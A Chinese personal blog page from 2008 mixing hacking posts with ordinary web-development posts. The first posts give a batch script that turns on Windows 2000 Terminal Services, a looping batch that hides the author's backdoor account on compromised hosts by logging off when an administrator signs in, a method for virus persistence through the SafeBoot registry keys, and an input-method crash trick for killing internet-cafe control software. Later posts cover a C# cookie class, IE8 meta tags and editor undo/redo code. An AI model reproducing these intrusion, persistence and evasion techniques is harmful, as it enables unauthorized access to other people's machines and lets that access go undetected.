关于“终端服务”入侵中的部分经验
作者:李嘉 日期:2008-11-28 18:42
首先,这是以前常用的开启终端服务的批处理:
echo [Components]>c:acke
echo TSEnable=on>>c:acke
sysocmgr /I:C:WINNTinf /u:C:acke /q /r
注:必须重启才能生效。此例针对windows2000,注意这个路径C:WINNTinf是windows2000的文件路径格式,如果去掉r参数,系统运行完这段批处理会自动重启。关于什么是批处理,大家可以网上查一些资料,简单讲就是.bat或.cmd文件。
附录:
"query"和"query user"命令可以查看当前终端用户的所有会话。
:begin
query user|find "console"
if errorlevel 1 logooff 1&&logoff 2
goto begin
此批处理可避免与管理员登录时发生冲突,防止被管理员发现,即在管理员登录时,自动结束终端连接。这个在我入侵完肉鸡,隐蔽自己非常有用,为防止3389时被管理员撞个正着,我一般情况会将此批处理做部分修改,当管理员登录时,注销我的后门账户。然后你也可以将此批处理作为服务启动。
祝大家好运。
关于病毒如何通过安全模式启动 - 思路篇
作者:李嘉 日期:2008-11-28 18:22
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBootMinimal
当系统启动到“有网络的安全模式”(Safe Mode With Networking)时,所启动的服务列表可以在下面的注册表键值得到:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBootNetwork
-----------------------------------------------------------
综上原因,我们可以在病毒首次运行时候将自身的服务添加到以上两个列表中去,这样进入安全模式便可使我们的病毒运行在安全模式下。
备注: 李嘉 于 2005-11-19 研发Mocvirus病毒时所添加的一项功能,希望对黑客朋友们有所帮助。以后我会陆续刊登自己的一些珍藏技术资料。
Mocola!.Net v1.0框架的CookieManager类
作者:李嘉 日期:2008-11-23 10:52
对于Mocola!.Net v1.0框架,需要对cookie进行大量操作,最近的旅行社项目我决定使用cookie进行用户认证,如果浏览器不支持cookie则由seesion进行候补,那么关于Mocola!.net框架中原先对于cookie的操作非常繁琐,于是我花了半天时间写了一个cookie类,集成在Mocola!框架内,该类比较简单,打算使用该类将用户的各项属性存储在SubCookie内由MainCoookie进行调用,然后我想再新建一项目dll用于操作该类用于保存和访问用户的各项信息,这样逐步完善Mocola!.Net框架的用户信息管理部分的功能。Session的操作要比Cookie来得简单方面,但除了这些Seesion和Cookie管理类以外,还需要将它们和Form认证有效得集成起来。
最近有关Mocola框架的Page Template和Skins以及Modules的功能我也正在考虑如何进行...
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.Security;
using Mocola.Security;
namespace Mocola.Net
{
public class CookieManager
{
System.Web.HttpCookie cookie;
string _cookieName;
string _cookieValue;
DateTime _cookieExpires = DateTime.Now.AddHours(1);
public CookieManager() { }
public CookieManager(string pName, string pValue, DateTime pExpires)
{
CreateCookie(pName, pValue, pExpires);
}
public string CookieName
{
get { return _cookieName; }
set { _cookieName = value; }
}
public string CookieValue
{
get { return _cookieValue; }
set { _cookieValue = value; }
}
public DateTime CookieExpires
{
get { return _cookieExpires; }
set { _cookieExpires = value; }
}
public bool Create()
{
if (_cookieName != string.Empty && _cookieExpires != null)
{
cookie = new System.Web.HttpCookie(_cookieName);
cookie.Value = _cookieValue;
cookie.Expires = _cookieExpires;
return true;
}
return false;
}
public bool CreateCookie(string pName, string pValue, DateTime pExpires)
{
if (pName != string.Empty && pExpires != null)
{
cookie = new System.Web.HttpCookie(pName);
cookie.Value = pValue;
cookie.Expires = pExpires;
return true;
}
return false;
}
public bool Save()
{
Page p = (Page)HttpContext.Current.Handler;
if (null != cookie)
{
p.Response.Cookies.Add(cookie);
}
else
{
if (CreateCookie(_cookieName, _cookieValue, _cookieExpires))
{
p.Response.Cookies.Add(cookie);
}
else
{
return false;
}
}
return true;
}
public bool Delete()
{
Page p = (Page)HttpContext.Current.Handler;
if (null != cookie)
{
p.Response.Cookies.Remove(_cookieName);
return true;
}
else
{
return false;
}
}
public static void Delete(string pName)
{
Page p = (Page)HttpContext.Current.Handler;
p.Response.Cookies.Remove(pName);
}
public void AddSubCookie(string pSubName, string pSubValue)
{
if (null != cookie & pSubName != string.Empty)
{
DESVerifier des = new DESVerifier();
if (null == cookie.Values[pSubName])
{
cookie.Values.Add(pSubName, des.EncryptCookie(pSubValue));
}
else
{
cookie.Values[pSubName] = des.EncryptCookie(pSubValue);
}
}
}
public void DeleteSubCookie(string pSubName)
{
if (null != cookie & pSubName != string.Empty)
{
if (cookie.HasKeys)
{
cookie.Values.Remove(pSubName);
}
}
}
public string GetSubCookieValue(string pSubName)
{
string returnValue = string.Empty;
if (null != cookie & pSubName != string.Empty)
{
DESVerifier des = new DESVerifier();
if (cookie.HasKeys)
{
returnValue = des.DecryptCookie(cookie.Values[pSubName].ToString());
}
}
return returnValue;
}
}
}
调用方法举例:
using Mocola.Net;
CookieManager cm = new CookieManager();
cm.CookieName = "Mocola1";
cm.CookieValue = "Test1";
cm.CookieExpires = DateTime.Now.AddHours(1);
cm.Create();
cm.AddSubCookie("M1", "111111");
cm.AddSubCookie("M2", "222222");
cm.AddSubCookie("M3", "333333");
cm.Save();
Response.Write("VALUE:"+cm.GetSubCookieValue("M2"));
智能ABC漏洞
作者:李嘉 日期:2008-11-22 10:08
在Windows中 ,只要在任何一个可以使用中文输入法的程序中调出智能ABC,然后 输入"V",再按一下键盘上的"↑",再按一下"Del"键,再按一下空格或回车键,该程序立即会被"杀死"。 这个漏洞有什么实用性呢?很多XX里安装了管理软件,对用户进行控制。我们可以打开该类软件的控制界面,在要求输入用户名的地方使用上述方法..................。当然软件很多,可能有些软件不能奏效,你不妨一试!
以前我一般通过智能ABC漏洞便可在网吧随意地免费上网,kill掉一些网吧管理软件不是问题。
让Windows 9x蓝屏(超级简单)
作者:李嘉 日期:2008-11-22 10:02
做一个简化版的防火墙
作者:李嘉 日期:2008-11-22 09:59
以windows xp为例,方法如下:
1. 右击“网上邻居”图标,选择弹出菜单中的“属性”项,在打开的窗口中双击“本地连接”的图标,打开“本地连接属性”窗口。单击“高级”按钮,在打开的窗口中选择“选项”标签,再单击“属性”按钮,再选择“启用TCP/IP筛选(所有适配器)”,接着选择TCP端口和UDP端口中的“只允许”选项,最后分别通过“添加”按钮允许的端口号添加到列表即可。
关于一些网站在IE8下的显示问题
作者:李嘉 日期:2008-11-13 08:37
这里我推荐一个比较好的办法,那就是在页面的 head 中加入:
<meta http-equiv="X-UA-Compatible" content="IE=7" />
可以强迫 IE8 使用 IE7 的渲染方式,也算是个不赖的过渡方案吧。
2008-3-28 补充:
用一个简单的Meta声明, 我们能指定在IE8中的渲染引擎来使用IE8的渲染方式, 例如, 插入这样一段代码
<meta http-equiv="X-UA-Compatible" content="IE=8" />
在文档的head区域里, 可以让IE 8渲染用最新的标准模式渲染这个页面, 这个语法可以很容易的扩展到其他浏览器上:
<meta http-equiv="X-UA-Compatible" content="IE=8;FF=3;OtherUA=4" />
IE在线编辑器器 Undo / Redo 失效问题及解决方案
作者:李嘉 日期:2008-11-08 23:52
今天遇到个问题,我的MocolaEditor之前有效的 Undo / Redo 功能突然失效了,这应该是编写HTML在线编辑器的PG都会遇到的一个问题。
先看看这个问题是什么:
<script>
function onchange(){
info.innerText=editor.innerText;
}
</script>
</HEAD>
<BODY>
<div style="width:500px;height:500px;border:1px solid #cccccc" contenteditable="true" ></div>
<div style="width:500px;height:50px;padding:4px;background-color:#F0f0f0"></div>
</BODY>
运行上面这段代码,你会发现,你的编辑器 将无法 Undo和Redo。
为什么会这样?
原因在于 info.innerText=editor.innerText; 这一脚本,改变了当前HTML渲染。起初我以为编辑器放在IFrame里就没事了,结果发现,放哪里都一样。
<script>
function onchange(){
info.innerText=Editor.document.body.innerText;
}
window.onload=function(){
Editor.document.designMode="ON";
Editor.document.onkeyup=onchange;
}
</script>
</HEAD>
<BODY>
<iframe style="width:500px;height:500px;border:1px solid #cccccc"></iframe>
<div style="width:500px;height:50px;padding:4px;background-color:#F0f0f0"></div>
</BODY>
Google的Writly (http://docs.google.com),有相同的问题。他的操作界面的弹出窗口都是用 div 来实现的。这样在显示和关闭的时候 必然会做一些Dom的操作,结果是只要弹出过窗口,Undo/Redo就失效了。
问题到此,应该很清楚了。那么如何解决呢?
既然浏览器的Undo/Redo不行了,那我就自己来写一个Undo/Redo方法。
每次文档发生改变的时候,我们可以把其HTMLCode 和 Selection 选区一起保存。存入一个数组里,只要数据都存好了,想undo/redo都是很轻松的事情了。
小Tips: 可以通过 document.selection.createRange().getBookmark()方来 来保存选区状态。
Undo的时候用 document.selection.createRange().moveToBookmark()方法来恢复选区。
以下是网上找的一段Undo/Redo 类。Typeing是为了对打字进行一些特殊处理,因为没有必要每输入一个字就增加一个UndoStep,这样太浪费内存空间了。 这里还需要对document.onkeydown函数做一些配合处理。
var CMSUndo=new Object();
CMSUndo.UndoLevels=new Array();
CMSUndo.CurrentStep=0;
CMSUndo.MaxLevel=20;
CMSUndo.Typing=false;
CMSUndo.TypingCount=CMSUndo.TypingMaxCount=25;
CMSUndo.SaveUndoStep=function(){
if(EMode == "Code") return;
this.UndoLevels[this.CurrentStep]=this.GetSaveData();
this.CurrentStep++;
this.UndoLevels=this.UndoLevels.slice(0,this.CurrentStep);
if(this.UndoLevels>this.MaxLevel) this.UndoLevels.shift();
this.CurrentStep=this.UndoLevels.length;
}
CMSUndo.Redo=function(){
if(this.CurrentStep<this.UndoLevels.length-1) this.ApplyUndoLevel(this.UndoLevels[++this.CurrentStep]);
}
CMSUndo.Undo=function(){
if(this.UndoLevels.length<1) return;
if(this.CurrentStep==this.UndoLevels.length) this.SaveUndoStep();
if(this.CurrentStep>0) this.ApplyUndoLevel(this.UndoLevels[--this.CurrentStep]);
}
CMSUndo.ApplyUndoLevel=function(cStep){
EditorDesignContent.body.innerHTML=cStep.htmlcode;
if(cStep.selrange) {
var range=EditorDesignContent.selection.createRange()
range.moveToBookmark(cStep.selrange)
range.select();
onEditContentSelChange();
}
this.TypesCount=0;
this.Typing=false;
}
CMSUndo.GetSaveData=function(){
var cStep=new Object();
cStep.htmlcode=EditorDesignContent.body.innerHTML;
if (EditorDesignContent.selection.type=='Text') cStep.selrange=EditorDesignContent.selection.createRange().getBookmark();
return cStep;
}
